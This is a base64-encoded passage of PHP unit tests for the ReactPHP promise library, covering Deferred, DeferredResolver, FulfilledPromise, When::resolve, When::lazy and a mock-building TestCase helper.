IC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMSkpOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5yZXNvbHZlKDEpCiAgICAgICAgICAgIC0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuQVByb21pc2VGb3JBUHJvbWlzZWRSZXNvbHV0aW9uVmFsdWUoKQogICAgewogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5yZXNvbHZlcigpCiAgICAgICAgICAgIC0+cmVzb2x2ZShXaGVuOjpyZXNvbHZlKDEpKQogICAgICAgICAgICAtPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJldHVybkFQcm9taXNlRm9yQVByb21pc2VkUmVqZWN0aW9uVmFsdWUoKQogICAgewogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgLy8gQm90aCB0aGUgcmV0dXJuZWQgcHJvbWlzZSwgYW5kIHRoZSBkZWZlcnJlZCdzIG93biBwcm9taXNlIHNob3VsZAogICAgICAgIC8vIGJlIHJlamVjdGVkIHdpdGggdGhlIHNhbWUgdmFsdWUKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5yZXNvbHZlKFdoZW46OnJlamVjdCgxKSkKICAgICAgICAgICAgLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICRtb2NrKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRJbnZva2VOZXdseUFkZGVkQ2FsbGJhY2tXaGVuQWxyZWFkeVJlc29sdmVkKCkKICAgIHsKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICRkCiAgICAgICAgICAgIC0+cmVzb2x2ZXIoKQogICAgICAgICAgICAtPnJlc29sdmUoMSk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5wcm9taXNlKCkKICAgICAgICAgICAgLT50aGVuKCRtb2NrLCAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRGb3J3YXJkVmFsdWVXaGVuQ2FsbGJhY2tJc051bGwoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZAogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKQogICAgICAgICAgICApCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICRtb2NrLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKQogICAgICAgICAgICApOwoKICAgICAgICAkZC0+cmVzb2x2ZSgxKTsKICAgIH0KCiAgICAvKioKICAgICAqIEB0ZXN0CiAgICAgKiBAZGF0YVByb3ZpZGVyIGludmFsaWRDYWxsYmFja0RhdGFQcm92aWRlcgogICAgICoqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZElnbm9yZU5vbkZ1bmN0aW9uc0FuZFRyaWdnZXJQaHBOb3RpY2UoJHZhcikKICAgIHsKICAgICAgICAkZXJyb3JDb2xsZWN0b3IgPSBuZXcgRXJyb3JDb2xsZWN0b3IoKTsKICAgICAgICAkZXJyb3JDb2xsZWN0b3ItPnJlZ2lzdGVyKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZAogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdmFyCiAgICAgICAgICAgICkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJG1vY2ssCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpCiAgICAgICAgICAgICk7CgogICAgICAgICRkLT5yZXNvbHZlKDEpOwoKICAgICAgICAkZXJyb3JDb2xsZWN0b3ItPmFzc2VydENvbGxlY3RlZEVycm9yKCdJbnZhbGlkICRmdWxmaWxsZWRIYW5kbGVyIGFyZ3VtZW50IHBhc3NlZCB0byB0aGVuKCksIG11c3QgYmUgbnVsbCBvciBjYWxsYWJsZS4nLCBFX1VTRVJfTk9USUNFKTsKICAgICAgICAkZXJyb3JDb2xsZWN0b3ItPnVucmVnaXN0ZXIoKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIFJlc29sdmVyCiAqIEBncm91cCBEZWZlcnJlZFJlc29sdmVyCiAqLwpjbGFzcyBEZWZlcnJlZFJlc29sdmVyVGVzdCBleHRlbmRzIFRlc3RDYXNlCnsKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZEZvcndhcmRUb0RlZmVycmVkKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5nZXRNb2NrKCdSZWFjdFxcUHJvbWlzZVxcRGVmZXJyZWQnKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ3Jlc29sdmUnKQogICAgICAgICAgICAtPndpdGgoMSk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdyZWplY3QnKQogICAgICAgICAgICAtPndpdGgoMSk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdwcm9ncmVzcycpCiAgICAgICAgICAgIC0+d2l0aCgxKTsKCiAgICAgICAgJHAgPSBuZXcgRGVmZXJyZWRSZXNvbHZlcigkbW9jayk7CiAgICAgICAgJHAtPnJlc29sdmUoMSk7CiAgICAgICAgJHAtPnJlamVjdCgxKTsKICAgICAgICAkcC0+cHJvZ3Jlc3MoMSk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKLyoqCiAqIEBncm91cCBVdGlsCiAqIEBncm91cCBVdGlsUmVqZWN0ZWRQcm9taXNlRm9yCiAqLwpjbGFzcyBVdGlsUmVqZWN0ZWRQcm9taXNlRm9yVGVzdCBleHRlbmRzIFRlc3RDYXNlCnsKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlamVjdFdpdGhBbkltbWVkaWF0ZVZhbHVlKCkKICAgIHsKICAgICAgICAkZXhwZWN0ZWQgPSAxMjM7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKCRleHBlY3RlZCkpOwoKICAgICAgICBVdGlsOjpyZWplY3RlZFByb21pc2VGb3IoJGV4cGVjdGVkKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2sKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZWplY3RXaXRoRnVsZmlsbGVkUHJvbWlzZSgpCiAgICB7CiAgICAgICAgJGV4cGVjdGVkID0gMTIzOwoKICAgICAgICAkcmVzb2x2ZWQgPSBuZXcgRnVsZmlsbGVkUHJvbWlzZSgkZXhwZWN0ZWQpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygkZXhwZWN0ZWQpKTsKCiAgICAgICAgVXRpbDo6cmVqZWN0ZWRQcm9taXNlRm9yKCRyZXNvbHZlZCkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICRtb2NrCiAgICAgICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVqZWN0V2l0aFJlamVjdGVkUHJvbWlzZSgpCiAgICB7CiAgICAgICAgJGV4cGVjdGVkID0gMTIzOwoKICAgICAgICAkcmVzb2x2ZWQgPSBuZXcgUmVqZWN0ZWRQcm9taXNlKCRleHBlY3RlZCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKCRleHBlY3RlZCkpOwoKICAgICAgICBVdGlsOjpyZWplY3RlZFByb21pc2VGb3IoJHJlc29sdmVkKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2sKICAgICAgICAgICAgKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIFdoZW4KICogQGdyb3VwIFdoZW5SZXNvbHZlCiAqLwpjbGFzcyBXaGVuUmVzb2x2ZVRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXNvbHZlQW5JbW1lZGlhdGVWYWx1ZSgpCiAgICB7CiAgICAgICAgJGV4cGVjdGVkID0gMTIzOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygkZXhwZWN0ZWQpKTsKCiAgICAgICAgV2hlbjo6cmVzb2x2ZSgkZXhwZWN0ZWQpCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICRtb2NrLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKQogICAgICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlc29sdmVBUmVzb2x2ZWRQcm9taXNlKCkKICAgIHsKICAgICAgICAkZXhwZWN0ZWQgPSAxMjM7CgogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGQtPnJlc29sdmUoJGV4cGVjdGVkKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJGV4cGVjdGVkKSk7CgogICAgICAgIFdoZW46OnJlc29sdmUoJGQtPnByb21pc2UoKSkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJG1vY2ssCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpCiAgICAgICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVqZWN0QVJlamVjdGVkUHJvbWlzZSgpCiAgICB7CiAgICAgICAgJGV4cGVjdGVkID0gMTIzOwoKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICRkLT5yZWplY3QoJGV4cGVjdGVkKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJGV4cGVjdGVkKSk7CgogICAgICAgIFdoZW46OnJlc29sdmUoJGQtPnByb21pc2UoKSkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwKICAgICAgICAgICAgICAgICRtb2NrCiAgICAgICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkU3VwcG9ydERlZXBOZXN0aW5nSW5Qcm9taXNlQ2hhaW5zKCkKICAgIHsKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICRkLT5yZXNvbHZlKGZhbHNlKTsKCiAgICAgICAgJHJlc3VsdCA9IFdoZW46OnJlc29sdmUoV2hlbjo6cmVzb2x2ZSgkZC0+dGhlbihmdW5jdGlvbiAoJHZhbCkgewogICAgICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICAgICAkZC0+cmVzb2x2ZSgkdmFsKTsKCiAgICAgICAgICAgICRpZGVudGl0eSA9IGZ1bmN0aW9uICgkdmFsKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHZhbDsKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHJldHVybiBXaGVuOjpyZXNvbHZlKCRkLT50aGVuKCRpZGVudGl0eSkpLT50aGVuKAogICAgICAgICAgICAgICAgZnVuY3Rpb24gKCR2YWwpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gISR2YWw7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICk7CiAgICAgICAgfSkpKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8odHJ1ZSkpOwoKICAgICAgICAkcmVzdWx0LT50aGVuKCRtb2NrKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIFByb21pc2UKICogQGdyb3VwIEZ1bGZpbGxlZFByb21pc2UKICovCmNsYXNzIEZ1bGZpbGxlZFByb21pc2VUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuQVByb21pc2UoKQogICAgewogICAgICAgICRwID0gbmV3IEZ1bGZpbGxlZFByb21pc2UoKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0SW5zdGFuY2VPZignUmVhY3RcXFByb21pc2VcXFByb21pc2VJbnRlcmZhY2UnLCAkcC0+dGhlbigpKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXR1cm5BbGxvd051bGwoKQogICAgewogICAgICAgICRwID0gbmV3IEZ1bGZpbGxlZFByb21pc2UoKTsKICAgICAgICAkdGhpcy0+YXNzZXJ0SW5zdGFuY2VPZignUmVhY3RcXFByb21pc2VcXFByb21pc2VJbnRlcmZhY2UnLCAkcC0+dGhlbihudWxsLCBudWxsLCBudWxsKSk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkRm9yd2FyZFJlc3VsdFdoZW5DYWxsYmFja0lzTnVsbCgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMSkpOwoKICAgICAgICAkcCA9IG5ldyBGdWxmaWxsZWRQcm9taXNlKDEpOwogICAgICAgICRwCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgIG51bGwsCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpCiAgICAgICAgICAgICkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJG1vY2ssCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpCiAgICAgICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkRm9yd2FyZENhbGxiYWNrUmVzdWx0VG9OZXh0Q2FsbGJhY2soKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDIpKTsKCiAgICAgICAgJHAgPSBuZXcgRnVsZmlsbGVkUHJvbWlzZSgxKTsKICAgICAgICAkcAogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICBmdW5jdGlvbiAoJHZhbCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdmFsICsgMTsKICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpCiAgICAgICAgICAgICkKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgJG1vY2ssCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpCiAgICAgICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkRm9yd2FyZFByb21pc2VkQ2FsbGJhY2tSZXN1bHRWYWx1ZVRvTmV4dENhbGxiYWNrKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygyKSk7CgogICAgICAgICRwID0gbmV3IEZ1bGZpbGxlZFByb21pc2UoMSk7CiAgICAgICAgJHAKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgZnVuY3Rpb24gKCR2YWwpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IEZ1bGZpbGxlZFByb21pc2UoJHZhbCArIDEpOwogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkbW9jaywKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRTd2l0Y2hGcm9tQ2FsbGJhY2tzVG9FcnJiYWNrc1doZW5DYWxsYmFja1JldHVybnNBUmVqZWN0aW9uKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygyKSk7CgogICAgICAgICRwID0gbmV3IEZ1bGZpbGxlZFByb21pc2UoMSk7CiAgICAgICAgJHAKICAgICAgICAgICAgLT50aGVuKAogICAgICAgICAgICAgICAgZnVuY3Rpb24gKCR2YWwpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFJlamVjdGVkUHJvbWlzZSgkdmFsICsgMSk7CiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKQogICAgICAgICAgICApCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jawogICAgICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFN3aXRjaEZyb21DYWxsYmFja3NUb0VycmJhY2tzV2hlbkNhbGxiYWNrVGhyb3dzKCkKICAgIHsKICAgICAgICAkZXhjZXB0aW9uID0gbmV3IFxFeGNlcHRpb24oKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2lsbCgkdGhpcy0+dGhyb3dFeGNlcHRpb24oJGV4Y2VwdGlvbikpOwoKICAgICAgICAkbW9jazIgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2syCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKCRleGNlcHRpb24pKTsKCiAgICAgICAgJHAgPSBuZXcgRnVsZmlsbGVkUHJvbWlzZSgxKTsKICAgICAgICAkcAogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkbW9jaywKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2syCiAgICAgICAgICAgICk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKLyoqCiAqIEBncm91cCBXaGVuCiAqIEBncm91cCBXaGVuTGF6eQogKi8KY2xhc3MgV2hlbkxhenlUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuQUxhenlQcm9taXNlKCkKICAgIHsKICAgICAgICAkdGhpcy0+YXNzZXJ0SW5zdGFuY2VPZignUmVhY3RcXFByb21pc2VcXFByb21pc2VJbnRlcmZhY2UnLCAgV2hlbjo6bGF6eShmdW5jdGlvbiAoKSB7fSkpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZENhbGxGYWN0b3J5SWZUaGVuSXNJbnZva2VkKCkKICAgIHsKICAgICAgICAkZmFjdG9yeSA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkZmFjdG9yeQogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJyk7CgogICAgICAgIFdoZW46OmxhenkoJGZhY3RvcnkpCiAgICAgICAgICAgIC0+dGhlbigpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCmNsYXNzIFRlc3RDYXNlIGV4dGVuZHMgXFBIUFVuaXRfRnJhbWV3b3JrX1Rlc3RDYXNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBleHBlY3RDYWxsYWJsZUV4YWN0bHkoJGFtb3VudCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPmV4YWN0bHkoJGFtb3VudCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpOwoKICAgICAgICByZXR1cm4gJG1vY2s7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGV4cGVjdENhbGxhYmxlT25jZSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpOwoKICAgICAgICByZXR1cm4gJG1vY2s7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGV4cGVjdENhbGxhYmxlTmV2ZXIoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+bmV2ZXIoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJyk7CgogICAgICAgIHJldHVybiAkbW9jazsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQ2FsbGFibGVNb2NrKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmdldE1vY2soJ1JlYWN0XFxQcm9taXNlXFN0dWJcQ2FsbGFibGVTdHViJyk7C